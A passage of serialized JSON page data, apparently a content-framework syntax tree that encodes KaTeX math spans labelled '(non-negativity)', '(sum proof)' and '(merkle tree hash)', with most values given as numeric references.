,[94955],{"type":29,"value":101},{"type":24,"tag":158,"props":94957,"children":94959},{"className":94958},[5669,22832],[94960],{"type":29,"value":94316},{"type":24,"tag":158,"props":94962,"children":94964},{"className":94963},[5669,22832],[94965],{"type":29,"value":22974},{"type":24,"tag":158,"props":94967,"children":94969},{"className":94968,"style":94325},[5669],[94970],{"type":29,"value":4750},{"type":24,"tag":158,"props":94972,"children":94974},{"className":94973},[5669,22832],[94975],{"type":29,"value":94333},{"type":24,"tag":158,"props":94977,"children":94979},{"className":94978,"style":94337},[5669,22832],[94980],{"type":29,"value":94340},{"type":24,"tag":158,"props":94982,"children":94984},{"className":94983},[5669,22832],[94985],{"type":29,"value":94346},{"type":24,"tag":158,"props":94987,"children":94989},{"className":94988},[5669,22832],[94990],{"type":29,"value":94352},{"type":24,"tag":158,"props":94992,"children":94994},{"className":94993},[5669],[94995,95000],{"type":24,"tag":158,"props":94996,"children":94998},{"className":94997},[5669,22832],[94999],{"type":29,"value":1472},{"type":24,"tag":158,"props":95001,"children":95003},{"className":95002},[5686],[95004],{"type":24,"tag":158,"props":95005,"children":95007},{"className":95006},[5691,22886],[95008,95037],{"type":24,"tag":158,"props":95009,"children":95011},{"className":95010},[5696],[95012,95032],{"type":24,"tag":158,"props":95013,"children":95015},{"className":95014,"style":94854},[5701],[95016],{"type":24,"tag":158,"props":95017,"children":95018},{"style":94381},[95019,95023],{"type":24,"tag":158,"props":95020,"children":95022},{"className":95021,"style":5711},[5710],[],{"type":24,"tag":158,"props":95024,"children":95026},{"className":95025},[5716,5717,5718,5719],[95027],{"type":24,"tag":158,"props":95028,"children":95030},{"className":95029},[5669,22832,5719],[95031],{"type":29,"value":1832},{"type":24,"tag":158,"props":95033,"children":95035},{"className":95034},[22989],[95036],{"type":29,"value":22992},{"type":24,"tag":158,"props":95038,"children":95040},{"className":95039},[5696],[95041],{"type":24,"tag":158,"props":95042,"children":95044},{"className":95043,"style":94408},[5701],[95045],{"type":24,"tag":158,"props":95046,"children":95047},{},[],{"type":24,"tag":158,"props":95049,"children":95051},{"className":95050},[22961],[95052],{"type":29,"value":2048},{"type":24,"tag":158,"props":95054,"children":95056},{"className":95055},[5669,22832],[95057],{"type":29,"value":101},{"type":24,"tag":158,"props":95059,"children":95061},{"className":95060},[5669,22832],[95062],{"type":29,"value":94316},{"type":24,"tag":158,"props":95064,"children":95066},{"className":95065},[5669,22832],[95067],{"type":29,"value":22974},{"type":24,"tag":158,"props":95069,"children":95071},{"className":95070,"style":94325},[5669],[95072],{"type":29,"value":4750},{"type":24,"tag":158,"props":95074,"children":95076},{"className":95075},[5669,22832],[95077],{"type":29,"value":57676},{"type":24,"tag":158,"props":95079,"children":95081},{"className":95080},[5669,22832],[95082],{"type":29,"value":94584},{"type":24,"tag":158,"props":95084,"children":95086},{"className":95085},[5669,22832],[95087],{"type":29,"value":52405},{"type":24,"tag":158,"props":95089,"children":95091},{"className":95090},[22983],[95092],{"type":29,"value":16646},{"type":24,"tag":158,"props":95094,"children":95096},{"className":95095,"style":5751},[5750],[],{"type":24,"tag":158,"props":95098,"children":95100},{"className":95099},[5756],[95101],{"type":29,"value":5759},{"type":24,"tag":158,"props":95103,"children":95105},{"className":95104,"style":5751},[5750],[],{"type":24,"tag":158,"props":95107,"children":95109},{"className":95108},[5658],[95110,95114,95119,95124,95129,95134,95139,95145,95150,95156,95161,95166,95171,95176,95181,95186,95191,95196],{"type":24,"tag":158,"props":95111,"children":95113},{"className":95112,"style":94267},[5663],[],{"type":24,"tag":158,"props":95115,"children":95117},{"className":95116},[5669,22832],[95118],{"type":29,"value":101},{"type":24,"tag":158,"props":95120,"children":95122},{"className":95121},[5669,22832],[95123],{"type":29,"value":94316},{"type":24,"tag":158,"props":95125,"children":95127},{"className":95126},[5669,22832],[95128],{"type":29,"value":22974},{"type":24,"tag":158,"props":95130,"children":95132},{"className":95131,"style":94325},[5669],[95133],{"type":29,"value":4750},{"type":24,"tag":158,"props":95135,"children":95137},{"className":95136},[5669,22832],[95138],{"type":29,"value":25},{"type":24,"tag":158,"props":95140,"children":95142},{"className":95141,"style":94325},[5669,22832],[95143],{"type":29,"value":95144},"r",{"type":24,"tag":158,"props":95146,"children":95148},{"className":95147},[5669,22832],[95149],{"type":29,"value":1832},{"type":24,"tag":158,"props":95151,"children":95153},{"className":95152},[5669,22832],[95154],{"type":29,"value":95155},"ces",{"type":24,"tag":158,"props":95157,"children":95159},{"className":95158},[22961],[95160],{"type":29,"value":2048},{"type":24,"tag":158,"props":95162,"children":95164},{"className":95163},[5669,22832],[95165],{"type":29,"value":101},{"type":24,"tag":158,"props":95167,"children":95169},{"className":95168},[5669,22832],[95170],{"type":29,"value":94316},{"type":24,"tag":158,"props":95172,"children":95174},{"className":95173},[5669,22832],[95175],{"type":29,"value":22974},{"type":24,"tag":158,"props":95177,"children":95179},{"className":95178,"style":94325},[5669],[95180],{"type":29,"value":4750},{"type":24,"tag":158,"props":95182,"children":95184},{"className":95183},[5669,22832],[95185],{"type":29,"value":57676},{"type":24,"tag":158,"props":95187,"children":95189},{"className":95188},[5669,22832],[95190],{"type":29,"value":94584},{"type":24,"tag":158,"props":95192,"children":95194},{"className":95193},[5669,22832],[95195],{"type":29,"value":52405},{"type":24,"tag":158,"props":95197,"children":95199},{"className":95198},[22983],[95200],{"type":29,"value":16646},{"type":24,"tag":1790,"props":95202,"children":95203},{},[95204,95363,95364],{"type":24,"tag":154,"props":95205,"children":95207},{"className":95206},[5642,5643],[95208],{"type":24,"tag":158,"props":95209,"children":95211},{"className":95210},[5648],[95212],{"type":24,"tag":158,"props":95213,"children":95215},{"className":95214,"ariaHidden":3185},[5653],[95216,95349],{"type":24,"tag":158,"props":95217,"children":95219},{"className":95218},[5658],[95220,95224,95229,95234,95239,95244,95249,95254,95259,95264,95269,95274,95279,95336,95340,95345],{"type":24,"tag":158,"props":95221,"children":95223},{"className":95222,"style":94770},[5663],[],{"type":24,"tag":158,"props":95225,"children":95227},{"className":95226},[5669,22832],[95228],{"type":29,"value":101},{"type":24,"tag":158,"props":95230,"children":95232},{"className":95231},[5669,22832],[95233],{"type":29,"value":94782},{"type":24,"tag":158,"props":95235,"children":95237},{"className":95236},[5669,22832],[95238],{"type":29,"value":94584},{"type":24,"tag":158,"props":95240,"children":95242},{"className":95241},[5669,22832],[95243],{"type":29,"value":57676},{"type":24,"tag":158,"props":95245,"children":95247},{"className":95246},[5669,22832],[95248],{"type":29,"value":22974},{"type":24,"tag":158,"props":95250,"children":95252},{"className":95251,"style":94325},[5669],[95253],{"type":29,"value":4750},{"type":24,"tag":158,"props":95255,"children":95257},{"className":95256},[5669,22832],[95258],{"type":29,"value":52726},{"type":24,"tag":158,"props":95260,"children":95262},{"className":95261,"style":94811},[5669,22832],[95263],{"type":29,"value":94814},{"type":24,"tag":158,"props":95265,"children":95267},{"className":95266},[5669,22832],[95268],{"type":29,"value":94584},{"type":24,"tag":158,"props":95270,"children":95272},{"className":95271},[5669,22832],[95273],{"type":29,"value":1832},{"type":24,"tag":158,"props":95275,"children":95277},{"className":95276},[5669,22832],[95278],{"type":29,"value":22974},{"type":24,"tag":158,"props":95280,"children":95282},{"className":95281},[5669],[95283,95288],{"type":24,"tag":158,"props":95284,"children":95286},{"className":95285,"style":94811},[5669,22832],[95287],{"type":29,"value":4780},{"type":24,"tag":158,"props":95289,"children":95291},{"className":95290},[5686],[95292],{"type":24,"tag":158,"props":95293,"children":95295},{"className":95294},[5691,22886],[95296,95325],{"type":24,"tag":158,"props":95297,"children":95299},{"className":95298},[5696],[95300,95320],{"type":24,"tag":158,"props":95301,"children":95303},{"className":95302,"style":94854},[5701],[95304],{"type":24,"tag":158,"props":95305,"children":95306},{"style":94858},[95307,95311],{"type":24,"tag":158,"props":95308,"children":95310},{"className":95309,"style":5711},[5710],[],{"type":24,"tag":158,"props":95312,"children":95314},{"className":95313},[5716,5717,5718,5719],[95315],{"type":24,"tag":158,"props":95316,"children":95318},{"className":95317},[5669,22832,5719],[95319],{"type":29,"value":1832},{"type":24,"tag":158,"props":95321,"children":95323},{"className":95322},[22989],[95324],{"type":29,"value":22992},{"type":24,"tag":158,"props":95326,"children":95328},{"className":95327},[5696],[95329],{"type":24,"tag":158,"props":95330,"children":95332},{"className":95331,"style":94408},[5701],[95333],{"type":24,"tag":158,"props":95334,"children":95335},{},[],{"type":24,"tag":158,"props":95337,"children":95339},{"className":95338,"style":5848},[5750],[],{"type":24,"tag":158,"props":95341,"children":95343},{"className":95342},[5853],[95344],{"type":29,"value":750},{"type":24,"tag":158,"props":95346,"children":95348},{"className":95347,"style":5848},[5750],[],{"type":24,"tag":158,"props":95350,"children":95352},{"className":95351},[5658],[95353,95358],{"type":24,"tag":158,"props":95354,"children":95357},{"className":95355,"style":95356},[5663],"height:0.6444em;",[],{"type":24,"tag":158,"props":95359,"children":95361},{"className":95360},[5669],[95362],{"type":29,"value":5682},{"type":29,"value":8106},{"type":24,"tag":897,"props":95365,"children":95366},{},[95367],{"type":29,"value":95368},"(non-negativity)",{"type":24,"tag":1790,"props":95370,"children":95371},{},[95372,95710,95711],{"type":24,"tag":154,"props":95373,"children":95375},{"className":95374},[5642,5643],[95376],{"type":24,"tag":158,"props":95377,"children":95379},{"className":95378},[5648],[95380],{"type":24,"tag":158,"props":95381,"children":95383},{"className":95382,"ariaHidden":3185},[5653],[95384,95520],{"type":24,"tag":158,"props":95385,"children":95387},{"className":95386},[5658],[95388,95392,95397,95402,95407,95412,95417,95422,95427,95432,95437,95442,95447,95452,95457,95462,95467,95472,95477,95482,95487,95492,95497,95502,95507,95511,95516],{"type":24,"tag":158,"props":95389,"children":95391},{"className":95390,"style":94267},[5663],[],{"type":24,"tag":158,"props":95393,"children":95395},{"className":95394},[5669,22832],[95396],{"type":29,"value":22974},{"type":24,"tag":158,"props":95398,"children":95400},{"className":95399},[5669,22832],[95401],{"type":29,"value":94295},{"type":24,"tag":158,"props":95403,"children":95405},{"className":95404},[5669,22832],[95406],{"type":29,"value":22974},{"type":24,"tag":158,"props":95408,"children":95410},{"className":95409},[5669,22832],[95411],{"type":29,"value":101},{"type":24,"tag":158,"props":95413,"children":95415},{"className":95414,"style":94337},[5669,22832],[95416],{"type":29,"value":94340},{"type":24,"tag":158,"props":95418,"children":95420},{"className":95419,"style":94325},[5669],[95421],{"type":29,"value":4750},{"type":24,"tag":158,"props":95423,"children":95425},{"className":95424},[5669,22832],[95426],{"type":29,"value":101},{"type":24,"tag":158,"props":95428,"children":95430},{"className":95429},[5669,22832],[95431],{"type":29,"value":94316},{"type":24,"tag":158,"props":95433,"children":95435},{"className":95434},[5669,22832],[95436],{"type":29,"value":22974},{"type":24,"tag":158,"props":95438,"children":95440},{"className":95439,"style":94325},[5669],[95441],{"type":29,"value":4750},{"type":24,"tag":158,"props":95443,"children":95445},{"className":95444},[5669,22832],[95446],{"type":29,"value":94333},{"type":24,"tag":158,"props":95448,"children":95450},{"className":95449,"style":94337},[5669,22832],[95451],{"type":29,"value":94340},{"type":24,"tag":158,"props":95453,"children":95455},{"className":95454},[5669,22832],[95456],{"type":29,"value":94346},{"type":24,"tag":158,"props":95458,"children":95460},{"className":95459},[5669,22832],[95461],{"type":29,"value":94352},{"type":24,"tag":158,"props":95463,"children":95465},{"className":95464},[22961],[95466],{"type":29,"value":2048},{"type":24,"tag":158,"props":95468,"children":95470},{"className":95469},[5669,22832],[95471],{"type":29,"value":101},{"type":24,"tag":158,"props":95473,"children":95475},{"className":95474},[5669,22832],[95476],{"type":29,"value":94316},{"type":24,"tag":158,"props":95478,"children":95480},{"className":95479},[5669,22832],[95481],{"type":29,"value":22974},{"type":24,"tag":158,"props":95483,"children":95485},{"className":95484,"style":94325},[5669],[95486],{"type":29,"value":4750},{"type":24,"tag":158,"props":95488,"children":95490},{"className":95489},[5669,22832],[95491],{"type":29,"value":57676},{"type":24,"tag":158,"props":95493,"children":95495},{"className":95494},[5669,22832],[95496],{"type":29,"value":94584},{"type":24,"tag":158,"props":95498,"children":95500},{"className":95499},[5669,22832],[95501],{"type":29,"value":52405},{"type":24,"tag":158,"props":95503,"children":95505},{"className":95504},[22983],[95506],{"type":29,"value":16646},{"type":24,"tag":158,"props":95508,"children":95510},{"className":95509,"style":5848},[5750],[],{"type":24,"tag":158,"props":95512,"children":95514},{"className":95513},[5853],[95515],{"type":29,"value":1034},{"type":24,"tag":158,"props":95517,"children":95519},{"className":95518,"style":5848},[5750],[],{"type":24,"tag":158,"props":95521,"children":95523},{"className":95522},[5658],[95524,95528,95533,95538,95543,95548,95553,95558,95563,95568,95573,95578,95583,95588,95593,95598,95603,95608,95665,95670,95675,95680,95685,95690,95695,95700,95705],{"type":24,"tag":158,"props":95525,"children":95527},{"className":95526,"style":94267},[5663],[],{"type":24,"tag":158,"props":95529,"children":95531},{"className":95530},[5669],[95532],{"type":29,"value":94915},{"type":24,"tag":158,"props":95534,"children":95536},{"className":95535},[5750],[95537],{"type":29,"value":22933},{"type":24,"tag":158,"props":95539,"children":95541},{"className":95540},[5669,22832],[95542],{"type":29,"value":101},{"type":24,"tag":158,"props":95544,"children":95546},{"className":95545},[5669,22832],[95547],{"type":29,"value":94782},{"type":24,"tag":158,"props":95549,"children":95551},{"className":95550},[5669,22832],[95552],{"type":29,"value":94584},{"type":24,"tag":158,"props":95554,"children":95556},{"className":95555},[5669,22832],[95557],{"type":29,"value":57676},{"type":24,"tag":158,"props":95559,"children":95561},{"className":95560},[5669,22832],[95562],{"type":29,"value":22974},{"type":24,"tag":158,"props":95564,"children":95566},{"className":95565,"style":94325},[5669],[95567],{"type":29,"value":4750},{"type":24,"tag":158,"props":95569,"children":95571},{"className":95570},[5669,22832],[95572],{"type":29,"value":101},{"type":24,"tag":158,"props":95574,"children":95576},{"className":95575},[5669,22832],[95577],{"type":29,"value":94316},{"type":24,"tag":158,"props":95579,"children":95581},{"className":95580},[5669,22832],[95582],{"type":29,"value":22974},{"type":24,"tag":158,"props":95584,"children":95586},{"className":95585,"style":94325},[5669],[95587],{"type":29,"value":4750},{"type":24,"tag":158,"props":95589,"children":95591},{"className":95590},[5669,22832],[95592],{"type":29,"value":94333},{"type":24,"tag":158,"props":95594,"children":95596},{"className":95595,"style":94337},[5669,22832],[95597],{"type":29,"value":94340},{"type":24,"tag":158,"props":95599,"children":95601},{"className":95600},[5669,22832],[95602],{"type":29,"value":94346},{"type":24,"tag":158,"props":95604,"children":95606},{"className":95605},[5669,22832],[95607],{"type":29,"value":94352},{"type":24,"tag":158,"props":95609,"children":95611},{"className":95610},[5669],[95612,95617],{"type":24,"tag":158,"props":95613,"children":95615},{"className":95614},[5669,22832],[95616],{"type":29,"value":1472},{"type":24,"tag":158,"props":95618,"children":95620},{"className":95619},[5686],[95621],{"type":24,"tag":158,"props":95622,"children":95624},{"className":95623},[5691,22886],[95625,95654],{"type":24,"tag":158,"props":95626,"children":95628},{"className":95627},[5696],[95629,95649],{"type":24,"tag":158,"props":95630,"children":95632},{"className":95631,"style":94854},[5701],[95633],{"type":24,"tag":158,"props":95634,"children":95635},{"style":94381},[95636,95640],{"type":24,"tag":158,"props":95637,"children":95639},{"className":95638,"style":5711},[5710],[],{"type":24,"tag":158,"props":95641,"children":95643},{"className":95642},[5716,5717,5718,5719],[95644],{"type":24,"tag":158,"props":95645,"children":95647},{"className":95646},[5669,22832,5719],[95648],{"type":29,"value":1832},{"type":24,"tag":158,"props":95650,"children":95652},{"className":95651},[22989],[95653],{"type":29,"value":22992},{"type":24,"tag":158,"props":95655,"children":95657},{"className":95656},[5696],[95658],{"type":24,"tag":158,"props":95659,"children":95661},{"className":95660,"style":94408},[5701],[95662],{"type":24,"tag":158,"props":95663,"children":95664},{},[],{"type":24,"tag":158,"props":95666,"children":95668},{"className":95667},[22961],[95669],{"type":29,"value":2048},{"type":24,"tag":158,"props":95671,"children":95673},{"className":95672},[5669,22832],[95674],{"type":29,"value":101},{"type":24,"tag":158,"props":95676,"children":95678},{"className":95677},[5669,22832],[95679],{"type":29,"value":94316},{"type":24,"tag":158,"props":95681,"children":95683},{"className":95682},[5669,22832],[95684],{"type":29,"value":22974},{"type":24,"tag":158,"props":95686,"children":95688},{"className":95687,"style":94325},[5669],[95689],{"type":29,"value":4750},{"type":24,"tag":158,"props":95691,"children":95693},{"className":95692},[5669,22832],[95694],{"type":29,"value":57676},{"type":24,"tag":158,"props":95696,"children":95698},{"className":95697},[5669,22832],[95699],{"type":29,"value":94584},{"type":24,"tag":158,"props":95701,"children":95703},{"className":95702},[5669,22832],[95704],{"type":29,"value":52405},{"type":24,"tag":158,"props":95706,"children":95708},{"className":95707},[22983],[95709],{"type":29,"value":16646},{"type":29,"value":8106},{"type":24,"tag":897,"props":95712,"children":95713},{},[95714],{"type":29,"value":95715},"(sum proof)",{"type":24,"tag":1790,"props":95717,"children":95718},{},[95719,96108,96109],{"type":24,"tag":154,"props":95720,"children":95722},{"className":95721},[5642,5643],[95723],{"type":24,"tag":158,"props":95724,"children":95726},{"className":95725},[5648],[95727],{"type":24,"tag":158,"props":95728,"children":95730},{"className":95729,"ariaHidden":3185},[5653],[95731,95817],{"type":24,"tag":158,"props":95732,"children":95734},{"className":95733},[5658],[95735,95740,95745,95751,95757,95762,95767,95772,95777,95783,95788,95794,95799,95804,95808,95813],{"type":24,"tag":158,"props":95736,"children":95739},{"className":95737,"style":95738},[5663],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":158,"props":95741,"children":95743},{"className":95742},[5669,22832],[95744],{"type":29,"value":52405},{"type":24,"tag":158,"props":95746,"children":95748},{"className":95747,"style":94325},[5669,22832],[95749],{"type":29,"value":95750},"er",{"type":24,"tag":158,"props":95752,"children":95755},{"className":95753,"style":95754},[5669,22832],"margin-right:0.03148em;",[95756],{"type":29,"value":89962},{"type":24,"tag":158,"props":95758,"children":95760},{"className":95759,"style":94337},[5669,22832],[95761],{"type":29,"value":94340},{"type":24,"tag":158,"props":95763,"children":95765},{"className":95764},[5669,22832],[95766],{"type":29,"value":52726},{"type":24,"tag":158,"props":95768,"children":95770},{"className":95769,"style":94325},[5669],[95771],{"type":29,"value":4750},{"type":24,"tag":158,"props":95773,"children":95775},{"className":95774},[5669,22832],[95776],{"type":29,"value":22974},{"type":24,"tag":158,"props":95778,"children":95780},{"className":95779},[5669,22832],[95781],{"type":29,"value":95782},"ree",{"type":24,"tag":158,"props":95784,"children":95786},{"className":95785,"style":94325},[5669],[95787],{"type":29,"value":4750},{"type":24,"tag":158,"props":95789,"children":95791},{"className":95790},[5669,22832],[95792],{"type":29,"value":95793},"ha",{"type":24,"tag":158,"props":95795,"children":95797},{"className":95796},[5669,22832],[95798],{"type":29,"value":1472},{"type":24,"tag":158,"props":95800,"children":95802},{"className":95801},[5669,22832],[95803],{"type":29,"value":85623},{"type":24,"tag":158,"props":95805,"children":95807},{"className":95806,"style":5848},[5750],[],{"type":24,"tag":158,"props":95809,"children":95811},{"className":95810},[5853],[95812],{"type":29,"value":1034},{"type":24,"tag":158,"props":95814,"children":95816},{"className":95815,"style":5848},[5750],[],{"type":24,"tag":158,"props":95818,"children":95820},{"className":95819},[5658],[95821,95825,95830,95835,95840,95845,95850,95855,95860,95865,95870,95927,95932,95936,95941,95946,96003,96008,96013,96017,96022,96027,96031,96036,96041,96103],{"type":24,"tag":158,"props":95822,"children":95824},{"className":95823,"style":5771},[5663],[],{"type":24,"tag":158,"props":95826,"children":95828},{"className":95827,"style":22833},[5669,22832],[95829],{"type":29,"value":22836},{"type":24,"tag":158,"props":95831,"children":95833},{"className":95832},[5669,22832],[95834],{"type":29,"value":94279},{"type":24,"tag":158,"props":95836,"children":95838},{"className":95837},[5669,22832],[95839],{"type":29,"value":1832},{"type":24,"tag":158,"props":95841,"children":95843},{"className":95842},[5669,22832],[95844],{"type":29,"value":71840},{"type":24,"tag":158,"props":95846,"children":95848},{"className":95847},[5669,22832],[95849],{"type":29,"value":94295},{"type":24,"tag":158,"props":95851,"children":95853},{"className":95852},[5669,22832],[95854],{"type":29,"value":57676},{"type":24,"tag":158,"props":95856,"children":95858},{"className":95857},[22961],[95859],{"type":29,"value":504},{"type":24,"tag":158,"props":95861,"children":95863},{"className":95862},[5669,22832],[95864],{"type":29,"value":95793},{"type":24,"tag":158,"props":95866,"children":95868},{"className":95867},[5669,22832],[95869],{"type":29,"value":1472},{"type":24,"tag":158,"props":95871,"children":95873},{"className":95872},[5669],[95874,95879],{"type":24,"tag":158,"props":95875,"children":95877},{"className":95876},[5669,22832],[95878],{"type":29,"value":85623},{"type":24,"tag":158,"props":95880,"children":95882},{"className":95881},[5686],[95883],{"type":24,"tag":158,"props":95884,"children":95886},{"className":95885},[5691,22886],[95887,95916],{"type":24,"tag":158,"props":95888,"children":95890},{"className":95889},[5696],[95891,95911],{"type":24,"tag":158,"props":95892,"children":95894},{"className":95893,"style":94377},[5701],[95895],{"type":24,"tag":158,"props":95896,"children":95897},{"style":94381},[95898,95902],{"type":24,"tag":158,"props":95899,"children":95901},{"className":95900,"style":5711},[5710],[],{"type":24,"tag":158,"props":95903,"children":95905},{"className":95904},[5716,5717,5718,5719],[95906],{"type":24,"tag":158,"props":95907,"children":95909},{"className":95908},[5669,5719],[95910],{"type":29,"value":5682},{"type":24,"tag":158,"props":95912,"children":95914},{"className":95913},[22989],[95915],{"type":29,"value":22992},{"type":24,"tag":158,"props":95917,"children":95919},{"className":95918},[5696],[95920],{"type":24,"tag":158,"props":95921,"children":95923},{"className":95922,"style":94408},[5701],[95924],{"type":24,"tag":158,"props":95925,"children":95926},{},[],{"type":24,"tag":158,"props":95928,"children":95930},{"className":95929},[5782],[95931],{"type":29,"value":5785},{"type":24,"tag":158,"props":95933,"children":95935},{"className":95934,"style":5789},[5750],[],{"type":24,"tag":158,"props":95937,"children":95939},{"className":95938},[5669,22832],[95940],{"type":29,"value":95793},{"type":24,"tag":158,"props":95942,"children":95944},{"className":95943},[5669,22832],[95945],{"type":29,"value":1472},{"type":24,"tag":158,"props":95947,"children":95949},{"className":95948},[5669],[95950,95955],{"type":24,"tag":158,"props":95951,"children":95953},{"className":95952},[5669,22832],[95954],{"type":29,"value":85623},{"type":24,"tag":158,"props":95956,"children":95958},{"className":95957},[5686],[95959],{"type":24,"tag":158,"props":95960,"children":95962},{"className":95961},[5691,22886],[95963,95992],{"type":24,"tag":158,"props":95964,"children":95966},{"className":95965},[5696],[95967,95987],{"type":24,"tag":158,"props":95968,"children":95970},{"className":95969,"style":94377},[5701],[95971],{"type":24,"tag":158,"props":95972,"children":95973},{"style":94381},[95974,95978],{"type":24,"tag":158,"props":95975,"children":95977},{"className":95976,"style":5711},[5710],[],{"type":24,"tag":158,"props":95979,"children":95981},{"className":95980},[5716,5717,5718,5719],[95982],{"type":24,"tag":158,"props":95983,"children":95985},{"className":95984},[5669,5719],[95986],{"type":29,"value":5672},{"type":24,"tag":158,"props":95988,"children":95990},{"className":95989},[22989],[95991],{"type":29,"value":22992},{"type":24,"tag":158,"props":95993,"children":95995},{"className":95994},[5696],[95996],{"type":24,"tag":158,"props":95997,"children":95999},{"className":95998,"style":94408},[5701],[96000],{"type":24,"tag":158,"props":96001,"children":96002},{},[],{"type":24,"tag":158,"props":96004,"children":96006},{"className":96005},[5782],[96007],{"type":29,"value":5785},{"type":24,"tag":158,"props":96009,"children":96011},{"className":96010},[5750],[96012],{"type":29,"value":22933},{"type":24,"tag":158,"props":96014,"children":96016},{"className":96015,"style":5789},[5750],[],{"type":24,"tag":158,"props":96018,"children":96020},{"className":96019},[5669],[96021],{"type":29,"value":377},{"type":24,"tag":158,"props":96023,"children":96025},{"className":96024},[5782],[96026],{"type":29,"value":5785},{"type":24,"tag":158,"props":96028,"children":96030},{"className":96029,"style":5789},[5750],[],{"type":24,"tag":158,"props":96032,"children":96034},{"className":96033},[5669,22832],[96035],{"type":29,"value":95793},{"type":24,"tag":158,"props":96037,"children":96039},{"className":96038},[5669,22832],[96040],{"type":29,"value":1472},{"type":24,"tag":158,"props":96042,"children":96044},{"className":96043},[5669],[96045,96050],{"type":24,"tag":158,"props":96046,"children":96048},{"className":96047},[5669,22832],[96049],{"type":29,"value":85623},{"type":24,"tag":158,"props":96051,"children":96053},{"className":96052},[5686],[96054],{"type":24,"tag":158,"props":96055,"children":96057},{"className":96056},[5691,22886],[96058,96092],{"type":24,"tag":158,"props":96059,"children":96061},{"className":96060},[5696],[96062,96087],{"type":24,"tag":158,"props":96063,"children":96065},{"className":96064,"style":94377},[5701],[96066],{"type":24,"tag":158,"props":96067,"children":96068},{"style":94381},[96069,96073],{"type":24,"tag":158,"props":96070,"children":96072},{"className":96071,"style":5711},[5710],[],{"type":24,"tag":158,"props":96074,"children":96076},{"className":96075},[5716,5717,5718,5719],[96077],{"type":24,"tag":158,"props":96078,"children":96080},{"className":96079},[5669,5719],[96081],{"type":24,"tag":158,"props":96082,"children":96084},{"className":96083},[5669,5719],[96085],{"type":29,"value":96086},"511",{"type":24,"tag":158,"props":96088,"children":96090},{"className":96089},[22989],[96091],{"type":29,"value":22992},{"type":24,"tag":158,"props":96093,"children":96095},{"className":96094},[5696],[96096],{"type":24,"tag":158,"props":96097,"children":96099},{"className":96098,"style":94408},[5701],[96100],{"type":24,"tag":158,"props":96101,"children":96102},{},[],{"type":24,"tag":158,"props":96104,"children":96106},{"className":96105},[22983],[96107],{"type":29,"value":521},{"type":29,"value":8106},{"type":24,"tag":897,"props":96110,"children":96111},{},[96112],{"type":29,"value":96113},"(merkle tree hash)",{"type":24,"tag":1790,"props":96115,"children":96116},{},[96117,96392,96393,96398,96400,96405],{"type":24,"tag":154,"props":96118,"children":96120},{"className":96119},[5642,5643],[96121],{"type":24,"tag":158,"props":96122,"children":96124},{"className":96123},[5648],[96125],{"type":24,"tag":158,"props":96126,"children":96128},{"className":96127,"ariaHidden":3185},[5653],[96129,96322],{"type":24,"tag":158,"props":96130,"children":96132},{"className":96131},[5658],[96133,96137,96142,96147,96152,96157,96162,96167,96172,96177,96182,96187,96192,96197,96202,96207,96264,96269,96274,96279,96284,96289,96294,96299,96304,96309,96313,96318],{"type":24,"tag":158,"props":96134,"children":96136},{"className":96135,"style":94267},[5663],[],{"type":24,"tag":158,"props":96138,"children":96140},{"className":96139},[5669,22832],[96141],{"type":29,"value":101},{"type":24,"tag":158,"props":96143,"children":96145},{"className":96144},[5669,22832],[96146],{"type":29,"value":94782},{"type":24,"tag":158,"props":96148,"children":96150},{"className":96149},[5669,22832],[96151],{"type":29,"value":94584},{"type":24,"tag":158,"props":96153,"children":96155},{"className":96154},[5669,22832],[96156],{"type":29,"value":57676},{"type":24,"tag":158,"props":96158,"children":96160},{"className":96159},[5669,22832],[96161],{"type":29,"value":22974},{"type":24,"tag":158,"props":96163,"children":96165},{"className":96164,"style":94325},[5669],[96166],{"type":29,"value":4750},{"type":24,"tag":158,"props":96168,"children":96170},{"className":96169},[5669,22832],[96171],{"type":29,"value":101},{"type":24,"tag":158,"props":96173,"children":96175},{"className":96174},[5669,22832],[96176],{"type":29,"value":94316},{"type":24,"tag":158,"props":96178,"children":96180},{"className":96179},[5669,22832],[96181],{"type":29,"value":22974},{"type":24,"tag":158,"props":96183,"children":96185},{"className":96184,"style":94325},[5669],[96186],{"type":29,"value":4750},{"type":24,"tag":158,"props":96188,"children":96190},{"className":96189},[5669,22832],[96191],{"type":29,"value":94333},{"type":24,"tag":158,"props":96193,"children":96195},{"className":96194,"style":94337},[5669,22832],[96196],{"type":29,"value":94340},{"type":24,"tag":158,"props":96198,"children":96200},{"className":96199},[5669,22832],[96201],{"type":29,"value":94346},{"type":24,"tag":158,"props":96203,"children":96205},{"className":96204},[5669,22832],[96206],{"type":29,"value":94352},{"type":24,"tag":158,"props":96208,"children":96210},{"className":96209},[5669],[96211,96216],{"type":24,"tag":158,"props":96212,"children":96214},{"className":96213},[5669,22832],[96215],{"type":29,"value":1472},{"type":24,"tag":158,"props":96217,"children":96219},{"className":96218},[5686],[96220],{"type":24,"tag":158,"props":96221,"children":96223},{"className":96222},[5691,22886],[96224,96253],{"type":24,"tag":158,"props":96225,"children":96227},{"className":96226},[5696],[96228,96248],{"type":24,"tag":158,"props":96229,"children":96231},{"className":96230,"style":94854},[5701],[96232],{"type":24,"tag":158,"props":96233,"children":96234},{"style":94381},[96235,96239],{"type":24,"tag":158,"props":96236,"children":96238},{"className":96237,"style":5711},[5710],[],{"type":24,"tag":158,"props":96240,"children":96242},{"className":96241},[5716,5717,5718,5719],[96243],{"type":24,"tag":158,"props":96244,"children":96246},{"className":96245},[5669,22832,5719],[96247],{"type":29,"value":1832},{"type":24,"tag":158,"props":96249,"children":96251},{"className":96250},[22989],[96252],{"type":29,"value":22992},{"type":24,"tag":158,"props":96254,"children":96256},{"className":96255},[5696],[96257],{"type":24,"tag":158,"props":96258,"children":96260},{"className":96259,"style":94408},[5701],[96261],{"type":24,"tag":158,"props":96262,"children":96263},{},[],{"type":24,"tag":158,"props":96265,"children":96267},{"className":96266},[22961],[96268],{"type":29,"value":2048},{"type":24,"tag":158,"props":96270,"children":96272},{"className":96271},[5669,22832],[96273],{"type":29,"value":101},{"type":24,"tag":158,"props":96275,"children":96277},{"className":96276},[5669,22832],[96278],{"type":29,"value":94316},{"type":24,"tag":158,"props":96280,"children":96282},{"className":96281},[5669,22832],[96283],{"type":29,"value":22974},{"type":24,"tag":158,"props":96285,"children":96287},{"className":96286,"style":94325},[5669],[96288],{"type":29,"value":4750},{"type":24,"tag":158,"props":96290,"children":96292},{"className":96291},[5669,22832],[96293],{"type":29,"value":57676},{"type":24,"tag":158,"props":96295,"children":96297},{"className":96296},[5669,22832],[96298],{"type":29,"value":94584},{"type":24,"tag":158,"props":96300,"children":96302},{"